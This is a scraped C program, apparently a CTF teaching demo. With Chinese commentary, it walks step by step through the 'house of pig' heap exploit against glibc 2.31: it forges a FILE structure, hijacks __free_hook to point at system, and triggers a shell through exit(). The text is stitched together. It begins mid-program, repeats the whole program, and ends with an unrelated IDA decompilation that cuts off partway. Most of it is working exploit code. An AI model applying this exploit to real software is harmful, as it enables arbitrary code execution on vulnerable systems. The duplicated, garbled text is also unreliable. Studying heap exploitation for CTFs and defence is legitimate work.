"\t && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n"
"\t\t\t\t > fp->_wide_data->_IO_write_base))\n"
"\t )\n"
"\t && _IO_OVERFLOW (fp, EOF) == EOF)\n"
"\tresult = EOF;\n"
"\n"
" if (do_lock)\n"
"\t_IO_funlockfile (fp);\n"
" run_fp = NULL;\n"
" }\n\033[1;"
PURPLE
"m"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
" _IO_lock_unlock (list_all_lock);\n"
" _IO_cleanup_region_end (0);\n"
"#endif\n"
"\n"
" return result;\n"
"}\n\n"
);
printf_color(GREEN, UNDEFINED,
"注意红色部分的代码,这便是遍历_IO_list_all链中的所有FILE实例。\n"
);
printf_color(GREEN, UNDEFINED,
"其中一条if语句的判断条件中会调用_IO_OVERFLOW函数。\n"
);
printf_color(GREEN, UNDEFINED,
"这个函数指的是vtable中overflow那个字段对应的函数。\n"
);
printf_color(GREEN, UNDEFINED,
"要执行到这个函数,就必须要让前面一个判断条件满足。\n"
);
printf_color(GREEN, UNDEFINED,
"这也就是我们伪造FILE结构体时需要注意的地方。\n"
);
printf_color(GREEN, UNDEFINED,
"下面我们就来修改_IO_list_all的值,用一个chunk地址填充。\n"
);
size_t
chunk_2 = (
size_t
)
calloc
(1, 0xF0) - 0x10;
// ---------- 第二处漏洞利用 ---------- //
*_IO_list_all = chunk_2;
// --------------------------------- //
printf_color(YELLOW, HIGHLIGHT,
"这个chunk的起始地址为:"
);
printf
(
"\033["
HIGHLIGHT
";"
YELLOW
"m%#zx\n"
STR_END, chunk_2);
printf_color(RED, HIGHLIGHT,
"第四步:伪造FILE结构体。\n"
);
printf_color(GREEN, UNDEFINED,
"我们使用第二次分配到的chunk作为假FILE结构体进行构造。\n"
);
printf_color(GREEN, UNDEFINED,
"再次强调注意_IO_flush_all_lockp函数的限定条件。\n"
);
printf_color(GREEN, UNDEFINED,
"if语句的前一个判断条件是两个判断相或,我们只需要满足第一个判断即可:\n"
);
printf_color(RED, HIGHLIGHT,
"fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n"
);
printf_color(GREEN, UNDEFINED,
"其中_mode字段的偏移为0xC0,_IO_write_ptr为0x28,_IO_write_base为0x30。\n"
);
printf_color(GREEN, UNDEFINED,
"我们在_mode处填0,在_IO_write_ptr填1,在_IO_write_base填0就可以了。\n"
);
size_t
* fake_FILE = (
size_t
*) chunk_2;
fake_FILE[0xC0 / 8] = 0;
// _mode
fake_FILE[0x20 / 8] = 1;
fake_FILE[0x28 / 8] = 0xFFFFFFFFFFFF;
// _IO_write_ptr
fake_FILE[0x30 / 8] = 0;
// _IO_write_base
printf_color(GREEN, UNDEFINED,
"三个字段修改完成。但我们需要修改的可不止这三个字段。\n"
);
printf_color(GREEN, UNDEFINED,
"在这个判断条件通过后,我们将会进入overflow函数。\n"
);
printf_color(GREEN, UNDEFINED,
"house of pig的一个重要思想就是让其执行_IO_str_overflow函数。\n"
);
printf_color(GREEN, UNDEFINED,
"这需要我们在vtable中写入_IO_str_jumps的地址,其中保存有这个函数的地址。\n"
);
printf_color(GREEN, UNDEFINED,
"看一下IDA中的_IO_str_jumps结构体:\n\n"
);
printf_color(PURPLE, HIGHLIGHT,
"__libc_IO_vtables:00000000001E9560 qword_1E9560 dq 0 ; DATA XREF: sub_52C20+49A↑o\n"
"__libc_IO_vtables:00000000001E9560 ; sscanf+B5↑o ...\n"
"__libc_IO_vtables:00000000001E9568 dq 0\n"
"__libc_IO_vtables:00000000001E9570 dq offset sub_93D50\n"
"\033[1;31m__libc_IO_vtables:00000000001E9578 dq offset _IO_str_overflow\n\033[1;"
PURPLE
"m"
"__libc_IO_vtables:00000000001E9580 dq offset _IO_str_underflow\n"
"__libc_IO_vtables:00000000001E9588 dq offset _IO_default_uflow\n"
"__libc_IO_vtables:00000000001E9590 dq offset _IO_str_pbackfail\n"
"__libc_IO_vtables:00000000001E9598 dq offset _IO_default_xsputn\n"
"__libc_IO_vtables:00000000001E95A0 dq offset _IO_default_xsgetn\n"
"__libc_IO_vtables:00000000001E95A8 dq offset _IO_str_seekoff\n"
"__libc_IO_vtables:00000000001E95B0 dq offset sub_92600\n"
"__libc_IO_vtables:00000000001E95B8 dq offset sub_924E0\n"
"__libc_IO_vtables:00000000001E95C0 dq offset sub_92870\n"
"__libc_IO_vtables:00000000001E95C8 dq offset _IO_default_doallocate\n"
"__libc_IO_vtables:00000000001E95D0 dq offset sub_937F0\n"
"__libc_IO_vtables:00000000001E95D8 dq offset sub_93800\n"
"__libc_IO_vtables:00000000001E95E0 dq offset sub_937D0\n"
"__libc_IO_vtables:00000000001E95E8 dq offset sub_92870\n"
"__libc_IO_vtables:00000000001E95F0 dq offset sub_937E0\n"
"__libc_IO_vtables:00000000001E95F8 dq offset sub_93810\n"
"__libc_IO_vtables:00000000001E9600 dq offset sub_93820\n\n"
);
printf_color(GREEN, UNDEFINED,
"其偏移为0x1E9560。将其填充到vtable字段,偏移为0xD8。\n"
);
size_t
_IO_str_jumps = libc_base + 0x1E9560;
fake_FILE[0xD8 / 8] = _IO_str_jumps;
printf_color(GREEN, UNDEFINED,
"然后,我们进入_IO_str_overflow函数看看。\n\n"
);
printf_color(BLUE, HIGHLIGHT,
"(/libio/strops.c, line 80)\n"
);
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_str_overflow (FILE *fp, int c)\n"
"{\n"
" int flush_only = c == EOF;\n"
" size_t pos;\n"
" if (fp->_flags & _IO_NO_WRITES)\n"
" return flush_only ? 0 : EOF;\n"
" if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))\n"
" {\n"
" fp->_flags |= _IO_CURRENTLY_PUTTING;\n"
" fp->_IO_write_ptr = fp->_IO_read_ptr;\n"
" fp->_IO_read_ptr = fp->_IO_read_end;\n"
" }\n"
" pos = fp->_IO_write_ptr - fp->_IO_write_base;\n"
" if (pos >= (size_t) (_IO_blen (fp) + flush_only))\n"
" {\n"
" if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */\n"
"\treturn EOF;\n"
" else\n"
"\t{\n"
"\033[1;31m\t char *new_buf;\n"
"\t char *old_buf = fp->_IO_buf_base;\n"
"\t size_t old_blen = _IO_blen (fp);\n"
"\t size_t new_size = 2 * old_blen + 100;\n"
"\t if (new_size < old_blen)\n"
"\t return EOF;\n"
"\t new_buf = malloc (new_size);\n"
"\t if (new_buf == NULL)\n"
"\t {\n"
"\t /*\t __ferror(fp) = 1; */\n"
"\t return EOF;\n"
"\t }\n"
"\t if (old_buf)\n"
"\t {\n"
"\t memcpy (new_buf, old_buf, old_blen);\n"
"\t free (old_buf);\n"
"\t /* Make sure _IO_setb won't try to delete _IO_buf_base. */\n"
"\t fp->_IO_buf_base = NULL;\n"
"\t }\n\033[1;"
PURPLE
"m"
"\t memset (new_buf + old_blen, '\\0', new_size - old_blen);\n"
"\n"
"\t _IO_setb (fp, new_buf, new_buf + new_size, 1);\n"
"\t fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);\n"
"\t fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);\n"
"\t fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);\n"
"\t fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);\n"
"\n"
"\t fp->_IO_write_base = new_buf;\n"
"\t fp->_IO_write_end = fp->_IO_buf_end;\n"
"\t}\n"
" }\n"
"\n"
" if (!flush_only)\n"
" *fp->_IO_write_ptr++ = (unsigned char) c;\n"
" if (fp->_IO_write_ptr > fp->_IO_read_end)\n"
" fp->_IO_read_end = fp->_IO_write_ptr;\n"
" if (flush_only)\n"
" return 0;\n"
" else\n"
" return c;\n"
"}\n\n"
);
printf_color(GREEN, UNDEFINED,
"注意红色部分的代码,这里会连续调用malloc、memcpy、free函数。\n"
);
printf_color(GREEN, UNDEFINED,
"house of pig想要在这里大做文章。\n"
);
printf_color(GREEN, UNDEFINED,
"首先需要通过tcache stashing unlink attack或其他方法向tcache中插入__free_hook附近的地址。\n"
);
printf_color(GREEN, UNDEFINED,
"然后在运行到此时,首先通过malloc分配出来,然后memcpy将指定位置的内容复制到__free_hook。\n"
);
printf_color(GREEN, UNDEFINED,
"最后通过free函数执行__free_hook中的内容,这里将__free_hook修改为system函数地址。\n"
);
printf_color(GREEN, UNDEFINED,
"通过代码我们可以知道,memcpy是将_IO_buf_base(结构体内偏移0x38)地址处的内容复制到__free_hook。\n"
);
printf_color(GREEN, UNDEFINED,
"而这个复制的原地址是我们可控的,需要我们在伪造的FILE结构体中设置。\n"
);
printf_color(GREEN, UNDEFINED,
"这里我们设置这个地址的值为第一个chunk的地址+0x20。\n"
);
printf_color(GREEN, UNDEFINED,
"............\n"
);
fake_FILE[0x38 / 8] = chunk_1 + 0x20;
printf_color(GREEN, UNDEFINED,
"设置完成。之后我们需要注意malloc函数申请的chunk大小,其申请的大小需要经过计算。\n"
);
printf_color(GREEN, UNDEFINED,
"计算方式是:(_IO_buf_end - _IO_buf_base) * 2 + 100。\n"
);
printf_color(GREEN, UNDEFINED,
"这要求我们正确设置_IO_buf_end的值。如果使用0x100的tcache进行攻击,则end-base=0x46。\n"
);
printf_color(GREEN, UNDEFINED,
"据此设置_IO_buf_end为第一个chunk的地址+0x20+0x46(结构体内偏移0x40)。\n"
);
printf_color(GREEN, UNDEFINED,
"............\n"
);
fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;
printf_color(GREEN, UNDEFINED,
"设置完成。最后注意free函数的参数是FILE结构体的起始地址,因此在第二个chunk+0x20处写入\"/bin/sh\\x00\"。\n"
);
printf_color(GREEN, UNDEFINED,
"另外在第二个chunk+0x30处写入system函数地址,memcpy函数能够将这里的地址复制到__free_hook。\n"
);
strcpy
((
char
*)(chunk_1 + 0x20),
"/bin/sh"
);
*(
size_t
*)(chunk_1 + 0x20 + 0x10) = (
size_t
)
system
;
printf_color(GREEN, UNDEFINED,
"............\n"
);
printf_color(GREEN, UNDEFINED,
"设置完成。\n\n"
);
printf_color(RED, HIGHLIGHT,
"第五步:通过tcache stashing unlink attack在tcache写入__free_hook附近地址。\n"
);
printf_color(GREEN, UNDEFINED,
"当赛题中只使用calloc时,只有在tcache中存放堆地址,才能让malloc分配到__free_hook。\n"
);
printf_color(GREEN, UNDEFINED,
"下面进行这种攻击的常规流程:\n"
);
printf_color(GREEN, UNDEFINED,
"首先分配9个chunk并释放,7个到tcache,2个到small bins。然后分配两个tcache chunk出来。\n"
);
void
* chunks[9];
for
(
int
i=0; i<7; i++)
chunks[i] =
malloc
(0xF0);
malloc
(0x20);
// to avoid consolidate
chunks[7] =
malloc
(0xF0);
malloc
(0x20);
// to avoid consolidate
chunks[8] =
malloc
(0xF0);
malloc
(0x20);
// to avoid consolidate
for
(
int
i=0; i<9; i++)
free
(chunks[i]);
malloc
(0xF0);
malloc
(0xF0);
malloc
(0x100);
printf_color(GREEN, UNDEFINED,
"依次释放9个chunk,tcache中的chunk应该为:7->6->5->4->3->2->1。\n"
);
printf_color(GREEN, UNDEFINED,
"unsorted bin中的chunk应该为:9<->8。\n"
);
printf_color(GREEN, UNDEFINED,
"然后分配出来两个tcache chunk,再分配一个较大的chunk,让unsorted bin的两个chunk进入small bins。\n"
);
printf_color(GREEN, UNDEFINED,
"应该修改第9个chunk的bk指针为__free_hook附近地址。\n"
);
printf_color(GREEN, UNDEFINED,
"............\n"
);
*(
size_t
*)((
size_t
)(chunks[8]) + 0x8) = __free_hook - 0x20;
printf_color(GREEN, UNDEFINED,
"修改完成,之后分配一个出来进行攻击。\n"
);
calloc
(1, 0xF0);
printf_color(GREEN, UNDEFINED,
"已经分配出来了一个chunk,现在0x100的tcache中的第一个chunk就是__free_hook附近的地址。\n\n"
);
printf_color(RED, HIGHLIGHT,
"第六步:调用exit函数触发house of pig漏洞。\n"
);
printf_color(GREEN, UNDEFINED,
"现在,所有的东西都已经布置好了,只需要一个exit函数,我们就能够执行预期的函数调用链并getshell。\n"
);
exit
(-1);
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BLACK "30"
#define RED "31"
#define GREEN "32"
#define YELLOW "33"
#define BLUE "34"
#define PURPLE "35"
#define GREEN_DARK "36"
#define WHITE "37"
#define UNDEFINED "-1"
#define HIGHLIGHT "1"
#define UNDERLINE "4"
#define SPARK "5"
#define STR_END "\033[0m"
void
printf_color(
char
* color,
char
* effect,
char
* string){
char
buffer[0x1000] = {0};
strcpy
(buffer,
"\033["
);
if
(effect[0] !=
'-'
){
strcat
(buffer, effect);
strcat
(buffer,
";"
);
}
strcat
(buffer, color);
strcat
(buffer,
"m"
);
strcat
(buffer, string);
printf
(
"%s"
STR_END, buffer);
}
int
main(){
printf_color(GREEN, UNDEFINED,
"今天我们来学习一下house of pig的利用原理。\n"
);
printf_color(GREEN, UNDEFINED,
"house of pig在只能使用calloc进行内存分配的CTF赛题中也有用武之地。\n"
);
printf_color(GREEN, UNDEFINED,
"首先我们了解一下这种利用方式的基本原理。\n"
);
printf_color(GREEN, UNDEFINED,
"本程序运行于ubuntu 20.04, glibc版本为2.31-0ubuntu9.9。\n"
);
printf_color(GREEN, UNDEFINED,
"在glibc 2.31下,house of pig需要利用__free__hook。\n\n"
);
printf_color(RED, HIGHLIGHT,
"第一步:获取libc的加载地址及堆地址。\n"
);
printf_color(GREEN, UNDEFINED,
"通过puts函数获取libc加载地址,在本libc中其偏移为0x84420。\n"
);
size_t
puts_addr = (
size_t
)
puts
;
size_t
libc_base = puts_addr - 0x84420;
printf_color(YELLOW, HIGHLIGHT,
"libc的加载地址为:"
);
printf
(
"\033["
HIGHLIGHT
";"
YELLOW
"m%#zx\n"
STR_END, libc_base);
printf_color(GREEN, UNDEFINED,
"然后我们通过分配一个chunk(大小为0x500)来获得一个堆地址。\n"
);
size_t
chunk_1 = (
size_t
)
malloc
(0x4F0) - 0x10;
printf_color(YELLOW, HIGHLIGHT,
"获得堆地址为这个chunk的起始地址:"
);
printf
(
"\033["
HIGHLIGHT
";"
YELLOW
"m%#zx\n\n"
STR_END, chunk_1);
printf_color(RED, HIGHLIGHT,
"第二步:通过large bin attack或其他方法将__free_hook附近写上一个堆地址。\n"
);
printf_color(GREEN, UNDEFINED,
"为了方便起见,本程序直接对__free_hook附近地址进行修改。\n"
);
printf_color(GREEN, UNDEFINED,
"在实际应用中,我们要维护好这个堆地址,在后面的步骤中还会用到。\n"
);
printf_color(PURPLE, HIGHLIGHT,
"这里在__free_hook-0x10处写入刚才获得的堆地址。\n"
);
printf_color(GREEN, UNDEFINED,
"本libc中__free_hook的偏移为0x1EEE48。\n"
);
size_t
__free_hook = libc_base + 0x1EEE48;
printf_color(YELLOW, HIGHLIGHT,
"__free_hook的地址为:"
);
printf
(
"\033["
HIGHLIGHT
";"
YELLOW
"m%#zx\n"
STR_END, __free_hook);
size_t
* vuln_1 = (
size_t
*)(__free_hook - 0x8);
// ---------- 第一处漏洞利用 ---------- //
*vuln_1 = chunk_1;
// --------------------------------- //
printf_color(BLUE, HIGHLIGHT,
"第一处漏洞利用完成,已在__free_hook-0x10处写入堆地址。\n\n"
);
printf_color(RED, HIGHLIGHT,
"第三步:通过large bin attack或其他方法向_IO_list_all写入一个堆地址。\n"
);
printf_color(GREEN, UNDEFINED,
"本libc中__free_hook的偏移为0x1ED5A0。\n"
);
size_t
* _IO_list_all = (
size_t
*)(libc_base + 0x1ED5A0);
printf_color(GREEN, UNDEFINED,
"_IO_list_all中原本保存的应该是_IO_2_1_stderr_这个文件结构体实例。\n"
);
printf_color(GREEN, UNDEFINED,
"在程序调用exit函数时会对_IO_list_all中的FILE结构体依次进行遍历。\n"
);
printf_color(GREEN, UNDEFINED,
"exit函数的调用链为:exit->_IO_cleanup->_IO_flush_all_lockp。\n"
);
printf_color(GREEN, UNDEFINED,
"下面是_IO_flush_all_lockp的函数定义:\n\n"
);
printf_color(BLUE, HIGHLIGHT,
"(/libio/genops.c, line 684)\n"
);
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_flush_all_lockp (int do_lock)\n"
"{\n"
" int result = 0;\n"
" FILE *fp;\n"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
" _IO_cleanup_region_start_noarg (flush_cleanup);\n"
" _IO_lock_lock (list_all_lock);\n"
"#endif\n"
"\n"
" \033[1;31mfor (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)\n"
" {\n"
" run_fp = fp;\n"
" if (do_lock)\n"
"\t_IO_flockfile (fp);\n"
"\n"
" if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n"
"\t || (_IO_vtable_offset (fp) == 0\n"
"\t && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n"
"\t\t\t\t > fp->_wide_data->_IO_write_base))\n"
"\t )\n"
"\t && _IO_OVERFLOW (fp, EOF) == EOF)\n"
"\tresult = EOF;\n"
"\n"
" if (do_lock)\n"
"\t_IO_funlockfile (fp);\n"
" run_fp = NULL;\n"
" }\n\033[1;"
PURPLE
"m"
"\n"
"#ifdef _IO_MTSAFE_IO\n"
" _IO_lock_unlock (list_all_lock);\n"
" _IO_cleanup_region_end (0);\n"
"#endif\n"
"\n"
" return result;\n"
"}\n\n"
);
printf_color(GREEN, UNDEFINED,
"注意红色部分的代码,这便是遍历_IO_list_all链中的所有FILE实例。\n"
);
printf_color(GREEN, UNDEFINED,
"其中一条if语句的判断条件中会调用_IO_OVERFLOW函数。\n"
);
printf_color(GREEN, UNDEFINED,
"这个函数指的是vtable中overflow那个字段对应的函数。\n"
);
printf_color(GREEN, UNDEFINED,
"要执行到这个函数,就必须要让前面一个判断条件满足。\n"
);
printf_color(GREEN, UNDEFINED,
"这也就是我们伪造FILE结构体时需要注意的地方。\n"
);
printf_color(GREEN, UNDEFINED,
"下面我们就来修改_IO_list_all的值,用一个chunk地址填充。\n"
);
size_t
chunk_2 = (
size_t
)
calloc
(1, 0xF0) - 0x10;
// ---------- 第二处漏洞利用 ---------- //
*_IO_list_all = chunk_2;
// --------------------------------- //
printf_color(YELLOW, HIGHLIGHT,
"这个chunk的起始地址为:"
);
printf
(
"\033["
HIGHLIGHT
";"
YELLOW
"m%#zx\n"
STR_END, chunk_2);
printf_color(RED, HIGHLIGHT,
"第四步:伪造FILE结构体。\n"
);
printf_color(GREEN, UNDEFINED,
"我们使用第二次分配到的chunk作为假FILE结构体进行构造。\n"
);
printf_color(GREEN, UNDEFINED,
"再次强调注意_IO_flush_all_lockp函数的限定条件。\n"
);
printf_color(GREEN, UNDEFINED,
"if语句的前一个判断条件是两个判断相或,我们只需要满足第一个判断即可:\n"
);
printf_color(RED, HIGHLIGHT,
"fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n"
);
printf_color(GREEN, UNDEFINED,
"其中_mode字段的偏移为0xC0,_IO_write_ptr为0x28,_IO_write_base为0x30。\n"
);
printf_color(GREEN, UNDEFINED,
"我们在_mode处填0,在_IO_write_ptr填1,在_IO_write_base填0就可以了。\n"
);
size_t
* fake_FILE = (
size_t
*) chunk_2;
fake_FILE[0xC0 / 8] = 0;
// _mode
fake_FILE[0x20 / 8] = 1;
fake_FILE[0x28 / 8] = 0xFFFFFFFFFFFF;
// _IO_write_ptr
fake_FILE[0x30 / 8] = 0;
// _IO_write_base
printf_color(GREEN, UNDEFINED,
"三个字段修改完成。但我们需要修改的可不止这三个字段。\n"
);
printf_color(GREEN, UNDEFINED,
"在这个判断条件通过后,我们将会进入overflow函数。\n"
);
printf_color(GREEN, UNDEFINED,
"house of pig的一个重要思想就是让其执行_IO_str_overflow函数。\n"
);
printf_color(GREEN, UNDEFINED,
"这需要我们在vtable中写入_IO_str_jumps的地址,其中保存有这个函数的地址。\n"
);
printf_color(GREEN, UNDEFINED,
"看一下IDA中的_IO_str_jumps结构体:\n\n"
);
printf_color(PURPLE, HIGHLIGHT,
"__libc_IO_vtables:00000000001E9560 qword_1E9560 dq 0 ; DATA XREF: sub_52C20+49A↑o\n"
"__libc_IO_vtables:00000000001E9560 ; sscanf+B5↑o ...\n"
"__libc_IO_vtables:00000000001E9568 dq 0\n"
"__libc_IO_vtables:00000000001E9570 dq offset sub_93D50\n"
"\033[1;31m__libc_IO_vtables:00000000001E9578 dq offset _IO_str_overflow\n\033[1;"
PURPLE
"m"
"__libc_IO_vtables:00000000001E9580 dq offset _IO_str_underflow\n"
"__libc_IO_vtables:00000000001E9588 dq offset _IO_default_uflow\n"
"__libc_IO_vtables:00000000001E9590 dq offset _IO_str_pbackfail\n"
"__libc_IO_vtables:00000000001E9598 dq offset _IO_default_xsputn\n"
"__libc_IO_vtables:00000000001E95A0 dq offset _IO_default_xsgetn\n"
"__libc_IO_vtables:00000000001E95A8 dq offset _IO_str_seekoff\n"
"__libc_IO_vtables:00000000001E95B0 dq offset sub_92600\n"
"__libc_IO_vtables:00000000001E95B8 dq offset sub_924E0\n"
"__libc_IO_vtables:00000000001E95C0 dq offset sub_92870\n"
"__libc_IO_vtables:00000000001E95C8 dq offset _IO_default_doallocate\n"
"__libc_IO_vtables:00000000001E95D0 dq offset sub_937F0\n"
"__libc_IO_vtables:00000000001E95D8 dq offset sub_93800\n"
"__libc_IO_vtables:00000000001E95E0 dq offset sub_937D0\n"
"__libc_IO_vtables:00000000001E95E8 dq offset sub_92870\n"
"__libc_IO_vtables:00000000001E95F0 dq offset sub_937E0\n"
"__libc_IO_vtables:00000000001E95F8 dq offset sub_93810\n"
"__libc_IO_vtables:00000000001E9600 dq offset sub_93820\n\n"
);
printf_color(GREEN, UNDEFINED,
"其偏移为0x1E9560。将其填充到vtable字段,偏移为0xD8。\n"
);
size_t
_IO_str_jumps = libc_base + 0x1E9560;
fake_FILE[0xD8 / 8] = _IO_str_jumps;
printf_color(GREEN, UNDEFINED,
"然后,我们进入_IO_str_overflow函数看看。\n\n"
);
printf_color(BLUE, HIGHLIGHT,
"(/libio/strops.c, line 80)\n"
);
printf_color(PURPLE, HIGHLIGHT,
"int\n"
"_IO_str_overflow (FILE *fp, int c)\n"
"{\n"
" int flush_only = c == EOF;\n"
" size_t pos;\n"
" if (fp->_flags & _IO_NO_WRITES)\n"
" return flush_only ? 0 : EOF;\n"
" if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))\n"
" {\n"
" fp->_flags |= _IO_CURRENTLY_PUTTING;\n"
" fp->_IO_write_ptr = fp->_IO_read_ptr;\n"
" fp->_IO_read_ptr = fp->_IO_read_end;\n"
" }\n"
" pos = fp->_IO_write_ptr - fp->_IO_write_base;\n"
" if (pos >= (size_t) (_IO_blen (fp) + flush_only))\n"
" {\n"
" if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */\n"
"\treturn EOF;\n"
" else\n"
"\t{\n"
"\033[1;31m\t char *new_buf;\n"
"\t char *old_buf = fp->_IO_buf_base;\n"
"\t size_t old_blen = _IO_blen (fp);\n"
"\t size_t new_size = 2 * old_blen + 100;\n"
"\t if (new_size < old_blen)\n"
"\t return EOF;\n"
"\t new_buf = malloc (new_size);\n"
"\t if (new_buf == NULL)\n"
"\t {\n"
"\t /*\t __ferror(fp) = 1; */\n"
"\t return EOF;\n"
"\t }\n"
"\t if (old_buf)\n"
"\t {\n"
"\t memcpy (new_buf, old_buf, old_blen);\n"
"\t free (old_buf);\n"
"\t /* Make sure _IO_setb won't try to delete _IO_buf_base. */\n"
"\t fp->_IO_buf_base = NULL;\n"
"\t }\n\033[1;"
PURPLE
"m"
"\t memset (new_buf + old_blen, '\\0', new_size - old_blen);\n"
"\n"
"\t _IO_setb (fp, new_buf, new_buf + new_size, 1);\n"
"\t fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);\n"
"\t fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);\n"
"\t fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);\n"
"\t fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);\n"
"\n"
"\t fp->_IO_write_base = new_buf;\n"
"\t fp->_IO_write_end = fp->_IO_buf_end;\n"
"\t}\n"
" }\n"
"\n"
" if (!flush_only)\n"
" *fp->_IO_write_ptr++ = (unsigned char) c;\n"
" if (fp->_IO_write_ptr > fp->_IO_read_end)\n"
" fp->_IO_read_end = fp->_IO_write_ptr;\n"
" if (flush_only)\n"
" return 0;\n"
" else\n"
" return c;\n"
"}\n\n"
);
printf_color(GREEN, UNDEFINED,
"注意红色部分的代码,这里会连续调用malloc、memcpy、free函数。\n"
);
printf_color(GREEN, UNDEFINED,
"house of pig想要在这里大做文章。\n"
);
printf_color(GREEN, UNDEFINED,
"首先需要通过tcache stashing unlink attack或其他方法向tcache中插入__free_hook附近的地址。\n"
);
printf_color(GREEN, UNDEFINED,
"然后在运行到此时,首先通过malloc分配出来,然后memcpy将指定位置的内容复制到__free_hook。\n"
);
printf_color(GREEN, UNDEFINED,
"最后通过free函数执行__free_hook中的内容,这里将__free_hook修改为system函数地址。\n"
);
printf_color(GREEN, UNDEFINED,
"通过代码我们可以知道,memcpy是将_IO_buf_base(结构体内偏移0x38)地址处的内容复制到__free_hook。\n"
);
printf_color(GREEN, UNDEFINED,
"而这个复制的原地址是我们可控的,需要我们在伪造的FILE结构体中设置。\n"
);
printf_color(GREEN, UNDEFINED,
"这里我们设置这个地址的值为第一个chunk的地址+0x20。\n"
);
printf_color(GREEN, UNDEFINED,
"............\n"
);
fake_FILE[0x38 / 8] = chunk_1 + 0x20;
printf_color(GREEN, UNDEFINED,
"设置完成。之后我们需要注意malloc函数申请的chunk大小,其申请的大小需要经过计算。\n"
);
printf_color(GREEN, UNDEFINED,
"计算方式是:(_IO_buf_end - _IO_buf_base) * 2 + 100。\n"
);
printf_color(GREEN, UNDEFINED,
"这要求我们正确设置_IO_buf_end的值。如果使用0x100的tcache进行攻击,则end-base=0x46。\n"
);
printf_color(GREEN, UNDEFINED,
"据此设置_IO_buf_end为第一个chunk的地址+0x20+0x46(结构体内偏移0x40)。\n"
);
printf_color(GREEN, UNDEFINED,
"............\n"
);
fake_FILE[0x40 / 8] = chunk_1 + 0x20 + 0x46;
printf_color(GREEN, UNDEFINED,
"设置完成。最后注意free函数的参数是FILE结构体的起始地址,因此在第二个chunk+0x20处写入\"/bin/sh\\x00\"。\n"
);
printf_color(GREEN, UNDEFINED,
"另外在第二个chunk+0x30处写入system函数地址,memcpy函数能够将这里的地址复制到__free_hook。\n"
);
strcpy
((
char
*)(chunk_1 + 0x20),
"/bin/sh"
);
*(
size_t
*)(chunk_1 + 0x20 + 0x10) = (
size_t
)
system
;
printf_color(GREEN, UNDEFINED,
"............\n"
);
printf_color(GREEN, UNDEFINED,
"设置完成。\n\n"
);
printf_color(RED, HIGHLIGHT,
"第五步:通过tcache stashing unlink attack在tcache写入__free_hook附近地址。\n"
);
printf_color(GREEN, UNDEFINED,
"当赛题中只使用calloc时,只有在tcache中存放堆地址,才能让malloc分配到__free_hook。\n"
);
printf_color(GREEN, UNDEFINED,
"下面进行这种攻击的常规流程:\n"
);
printf_color(GREEN, UNDEFINED,
"首先分配9个chunk并释放,7个到tcache,2个到small bins。然后分配两个tcache chunk出来。\n"
);
void
* chunks[9];
for
(
int
i=0; i<7; i++)
chunks[i] =
malloc
(0xF0);
malloc
(0x20);
// to avoid consolidate
chunks[7] =
malloc
(0xF0);
malloc
(0x20);
// to avoid consolidate
chunks[8] =
malloc
(0xF0);
malloc
(0x20);
// to avoid consolidate
for
(
int
i=0; i<9; i++)
free
(chunks[i]);
malloc
(0xF0);
malloc
(0xF0);
malloc
(0x100);
printf_color(GREEN, UNDEFINED,
"依次释放9个chunk,tcache中的chunk应该为:7->6->5->4->3->2->1。\n"
);
printf_color(GREEN, UNDEFINED,
"unsorted bin中的chunk应该为:9<->8。\n"
);
printf_color(GREEN, UNDEFINED,
"然后分配出来两个tcache chunk,再分配一个较大的chunk,让unsorted bin的两个chunk进入small bins。\n"
);
printf_color(GREEN, UNDEFINED,
"应该修改第9个chunk的bk指针为__free_hook附近地址。\n"
);
printf_color(GREEN, UNDEFINED,
"............\n"
);
*(
size_t
*)((
size_t
)(chunks[8]) + 0x8) = __free_hook - 0x20;
printf_color(GREEN, UNDEFINED,
"修改完成,之后分配一个出来进行攻击。\n"
);
calloc
(1, 0xF0);
printf_color(GREEN, UNDEFINED,
"已经分配出来了一个chunk,现在0x100的tcache中的第一个chunk就是__free_hook附近的地址。\n\n"
);
printf_color(RED, HIGHLIGHT,
"第六步:调用exit函数触发house of pig漏洞。\n"
);
printf_color(GREEN, UNDEFINED,
"现在,所有的东西都已经布置好了,只需要一个exit函数,我们就能够执行预期的函数调用链并getshell。\n"
);
exit
(-1);
}
void
__fastcall __noreturn main(
__int64
a1,
char
**a2,
char
**a3)
{
__int64
v3;
// rax
__int64
v4;
// rax
__int64
v5;
// rax
__int64
v6;
// rax
int
id;
// [rsp+0h] [rbp-420h]
int
new_id;
// [rsp+4h] [rbp-41Ch]
Info *info;
// [rsp+8h] [rbp-418h]
Info info1;
// [rsp+10h] [rbp-410h] BYREF
Info info2;
// [rsp+160h] [rbp-2C0h] BYREF
Info info3;
// [rsp+2B0h] [rbp-170h] BYREF
unsigned
__int64
v13;
// [rsp+408h] [rbp-18h]
v13 = __readfsqword(0x28u);
init_state();
welcome();
init_info1(&info1);
init_info2(&info2);
init_info3(&info3);
id = 1;
v3 = std::operator<<<std::char_traits<
char
>>(&std::cout,
"Peppa Pig first~"
);
std::ostream::operator<<(v3, &std::endl<
char
,std::char_traits<
char
>>);
info = &info1;
get_info1(&info1);
while
( 1 )
{
menu();
switch
( get_num() )
{
